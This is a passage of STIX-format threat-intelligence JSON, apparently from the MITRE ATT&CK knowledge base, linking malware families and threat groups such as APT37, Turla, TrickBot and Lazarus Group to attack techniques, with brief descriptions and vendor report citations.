            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T21:56:52.386Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--564de5da-7ecc-45c7-bbd5-619a8f316f70",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) is capable of enumerating and making modifications to an infected system's Registry.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-03-17T00:19:38.032Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--948d9203-f418-4cf6-9618-e1e89f1ef2bb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CORALDECK](https://attack.mitre.org/software/S0212) has created password-protected RAR, WinImage, and zip archives to be exfiltrated.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-03-30T02:01:59.871Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--993e37d1-b81c-47d7-9063-216446271e07",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TA459](https://attack.mitre.org/groups/G0062) has attempted to get victims to open malicious Microsoft Word attachment sent via spearphishing.(Citation: Proofpoint TA459 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts",
                    "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint TA459 April 2017"
                }
            ],
            "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2020-03-17T14:59:16.731Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--48b75b8b-5bef-4f99-baa8-5fa978d371d2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Remsec](https://attack.mitre.org/software/S0125) loader implements itself with the name Security Support Provider, a legitimate Windows function. Various [Remsec](https://attack.mitre.org/software/S0125) .exe files mimic legitimate file names used by Microsoft, Symantec, Kaspersky, Hewlett-Packard, and VMWare. [Remsec](https://attack.mitre.org/software/S0125) also disguised malicious modules using similar filenames as custom network encryption software on victims.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Remsec IOCs",
                    "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Full Report",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T15:46:34.817Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0e27ebb3-2d48-48f6-ab99-968c0a992c61",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Downdelph](https://attack.mitre.org/software/S0134) inserts pseudo-random characters between each original character during encoding of C2 network requests, making it difficult to write signatures on them.(Citation: ESET Sednit Part 3)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 3",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
                }
            ],
            "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade",
            "type": "relationship",
            "modified": "2020-03-20T22:39:44.307Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ae3be82b-3d54-4be8-939b-e074a2cea170",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of downloading files from the C2.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-18T14:51:57.887Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9dfdcec6-82b7-42a4-902a-3220f4d67bcf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) runs the <code>net view /domain</code> and <code>net view</code> commands.(Citation: RATANKBA)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2020-09-02T18:46:32.857Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--cd45bd64-3793-49e7-82d0-9cdabf417d61",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) infected victims using JavaScript code.(Citation: Symantec Leafminer July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "source_name": "Symantec Leafminer July 2018"
                }
            ],
            "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "type": "relationship",
            "modified": "2020-06-23T19:56:50.231Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b1e7f787-2d43-442b-8bd1-4fa064f089b2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "C2 traffic for most [Threat Group-3390](https://attack.mitre.org/groups/G0027) tools occurs over Port Numbers 53, 80, and 443.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.226Z",
            "created": "2017-05-31T21:33:27.061Z"
        },
        {
            "id": "relationship--bfb687f5-0c7d-4ac3-a295-26f1b96dc360",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects the victim username along with other account information (account type, description, full name, SID and status).(Citation: Talos GravityRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-04-24T23:21:59.199Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--757bed64-558b-4ea7-84b9-b82d8b23f9b2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT1](https://attack.mitre.org/groups/G0006) uses two utilities, GETMAIL and MAPIGET, to steal email. GETMAIL extracts emails from archived Outlook .pst files.(Citation: Mandiant APT1)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
            "type": "relationship",
            "modified": "2020-03-17T16:17:15.484Z",
            "created": "2017-05-31T21:33:27.035Z"
        },
        {
            "id": "relationship--d1f44e84-61cb-4a96-add8-d37a38369e43",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) collects a list of install programs and services on the system\u2019s machine.(Citation: S2 Grupo TrickBot June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                }
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2019-06-24T19:15:06.564Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--85a92b0f-f8c3-41a9-a1b3-cfbf8b442b39",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A variant of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) encrypts some C2 with 3DES.(Citation: Bitdefender APT28 Dec 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T22:59:10.164Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d4240d9a-1499-4863-a654-a52a1dbf48b4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RGDoor](https://attack.mitre.org/software/S0258) decodes Base64 strings and decrypts strings using a custom XOR algorithm.(Citation: Unit 42 RGDoor Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 RGDoor Jan 2018",
                    "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
                }
            ],
            "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-03-17T02:29:15.966Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0fd71bed-d22f-44f8-aef2-4c5e55aca422",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Calisto](https://attack.mitre.org/software/S0274) collects information on bookmarks from Google Chrome.(Citation: Securelist Calisto July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Calisto July 2018",
                    "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.",
                    "url": "https://securelist.com/calisto-trojan-for-macos/86543/"
                }
            ],
            "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7",
            "type": "relationship",
            "modified": "2020-01-17T19:33:18.056Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a49ed7b1-8160-48ae-a65f-feeb4747c522",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Volgmer](https://attack.mitre.org/software/S0180) variants use SSL to encrypt C2 communications.(Citation: US-CERT Volgmer Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer Nov 2017",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "type": "relationship",
            "modified": "2020-03-21T00:40:07.061Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--fcb6fc55-8fa6-4ec7-a5a3-51de7dd90c1d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT37](https://attack.mitre.org/groups/G0067) has access to destructive malware that is capable of overwriting a machine's Master Boot Record (MBR).(Citation: FireEye APT37 Feb 2018)(Citation: Talos Group123)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                },
                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.757Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7ccf3e90-8099-4445-b39f-956d2807189b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) sends collected files back over same C2 channel.(Citation: Talos ROKRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html",
                    "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.",
                    "source_name": "Talos ROKRAT"
                }
            ],
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "type": "relationship",
            "modified": "2019-07-26T22:56:58.355Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d8a844bc-373b-44aa-831a-da33d1505ae3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SHUTTERSPEED](https://attack.mitre.org/software/S0217) can capture screenshots.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--4189a679-72ed-4a89-a57c-7f689712ecf8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688"
        },
        {
            "id": "relationship--66f5e718-f910-487f-852a-98a8d752b0ba",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has a command to create, set, copy, or delete a specified Registry key or value.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-07-17T19:22:28.803Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--72b7d86e-5e78-4bc6-a16e-c4380d12d627",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Keydnap](https://attack.mitre.org/software/S0276) adds the setuid flag to a binary so it can easily elevate in the future.(Citation: OSX Keydnap malware)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                }
            ],
            "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9",
            "type": "relationship",
            "modified": "2020-01-17T19:44:36.674Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d6049a18-43d5-4761-ad56-a60e2a7998cf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can obtain data from local systems.(Citation: Symantec Linfo May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Linfo May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"
                }
            ],
            "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2020-03-20T02:11:07.242Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--b3973baa-0185-45a1-934d-2b29f742a2df",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[XTunnel](https://attack.mitre.org/software/S0117) uses SSL/TLS and RC4 to encrypt traffic.(Citation: Invincea XTunnel)(Citation: ESET Sednit Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Invincea XTunnel",
                    "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.",
                    "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/"
                },
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                }
            ],
            "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "type": "relationship",
            "modified": "2020-03-21T00:40:57.475Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--dbfceb88-6548-49c9-97e2-8e187856edb3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses raw sockets to communicate with its C2 server.(Citation: Palo Alto Sofacy 06-2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "source_name": "Palo Alto Sofacy 06-2018"
                }
            ],
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2019-07-17T01:18:32.653Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c01c8bd2-0471-470c-aaab-4d4f96a27e9a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) leveraged [Mimikatz](https://attack.mitre.org/software/S0002) to extract Windows Credentials of currently logged-in users and steals passwords stored in browsers.(Citation: Lazarus KillDisk) [Lazarus Group](https://attack.mitre.org/groups/G0032) has also used a custom version [Mimikatz](https://attack.mitre.org/software/S0002) to capture credentials.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020) ",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lazarus KillDisk",
                    "description": "K\u00e1lnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.",
                    "url": "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/"
                },
                {
                    "source_name": "F-Secure Lazarus Cryptocurrency Aug 2020",
                    "url": "https://labs.f-secure.com/assets/BlogFiles/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf",
                    "description": "F-Secure Labs. (2020, August 18). Lazarus Group Campaign Targeting the Cryptocurrency Vertical. Retrieved September 1, 2020."
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2020-09-22T18:22:30.727Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0583724d-7778-42ed-995c-acad526db4ba",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has sometimes used drive-by attacks against vulnerable browser plugins.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "source_name": "Microsoft PLATINUM April 2016"
                }
            ],
            "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "type": "relationship",
            "modified": "2019-05-10T12:14:32.180Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--e2675622-ec8e-4894-9f5e-3c82944e3019",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover operating system configuration details using the <code>systeminfo</code>, <code>gpresult</code>, and <code>set</code> commands.(Citation: Kaspersky Turla)(Citation: ESET ComRAT May 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
